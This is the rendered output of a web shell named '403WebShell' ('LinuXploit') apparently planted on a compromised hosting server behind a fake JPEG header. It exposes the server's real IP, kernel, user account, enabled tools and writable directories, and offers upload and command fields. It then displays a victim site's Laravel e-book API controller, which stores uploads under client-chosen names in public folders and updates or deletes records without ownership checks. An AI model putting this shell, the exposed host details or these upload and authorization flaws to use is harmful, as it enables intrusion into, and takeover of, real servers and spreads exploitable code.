����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 216.73.216.191
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/./gltevjme/gle.gltechlimited.com/app/Http/Controllers/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/./gltevjme/gle.gltechlimited.com/app/Http/Controllers/Api/EbookController.php
<?php

namespace App\Http\Controllers\Api;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use App\Ebook;

class EbookController extends Controller
{

    public function index(Request $request){

    $data  = new MainController;
    $secretData = $data->CheckSecretKey($request);
    if($secretData != ''){
      return $secretData;
    }

    $uid = Auth::user()->id;
    $ebook = Ebook::where('user_id', $uid)->get();
    return response()->json($ebook, 200);
  }

  public function saveEbook(Request $request) {

    $data = new MainController;
    $secretData = $data->CheckSecretKey($request);
    if($secretData != ''){
        return $secretData;
    }

    $input = [];

    if (!$request->has('id')) {
        // Validation only for adding new ebook
        $request->validate([
            'title' => 'required',
            'category_id' => 'required',
            'publication' => 'required',
            'files' => 'required',
            'all_file' => 'required',
            'thumbnali' => 'required',
        ]);
    }

    if ($file = $request->file('banner')) {            
        $optimizeImage = Image::make($file);
        $optimizePath = public_path().'/images/ebook/';
        $image = time().$file->getClientOriginalName();
        $optimizeImage->save($optimizePath.$image, 72);
        $input['banner'] = $image;  
    }

    if ($file = $request->file('thumbnali')) {            
        $optimizeImage = Image::make($file);
        $optimizePath = public_path().'/images/ebook/';
        $image = time().$file->getClientOriginalName();
        $optimizeImage->save($optimizePath.$image, 72);
        $input['thumbnali'] = $image;  
    }

    if ($file = $request->file('files')) {            
        $file= $request->file('files');
        $filename= date('YmdHi').$file->getClientOriginalName();
        $file->move(public_path('images/ebook/files'), $filename);
        $input['files'] = $filename;  
    }
    
    if ($file = $request->file('all_file')) {            
        $file= $request->file('all_file');
        $filename= date('YmdHi').$file->getClientOriginalName();
        $file->move(public_path('images/ebook/all_file'), $filename);
        $input['all_file'] = $filename;  
    }        
    
    $input['user_id'] = Auth::user()->id;
    $input['title'] = $request->title;
    $input['category_id'] = $request->category_id;
    $input['detail'] = $request->detail;
    $input['publication'] = $request->publication;
    $input['edition'] = $request->edition;

     if ($request->has('id')) {
        // Editing an existing ebook
        $ebook = Ebook::find($request->id);
        if($ebook) {
            $ebook->update($input);
            return response()->json(['message' => 'Ebook updated successfully'], 200);
        } else {
            return response()->json(['error' => 'Ebook not found'], 404);
        }
    } else {
        // Adding a new ebook
        $ebook = Ebook::create($input);
        if($ebook) {
            return response()->json(['message' => 'Ebook created successfully'], 200);
        } else {
            return response()->json(['error' => 'Error creating ebook'], 500);
        }
    }
}

 public function ebookdelete(Request $request){

      $data = new MainController;
    $secretData = $data->CheckSecretKey($request);
    
    if($secretData != ''){
        return $secretData;
    }

    $request->validate([
        'id' => 'required',
    ]);

    $ebook = Ebook::find($request->id);

    if ($ebook) {
        $ebook->delete();
        return response()->json(['message' => 'Ebook deleted successfully'], 200); 
    } else {
        return response()->json(['error' => 'Ebook not found'], 404);       
    }
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit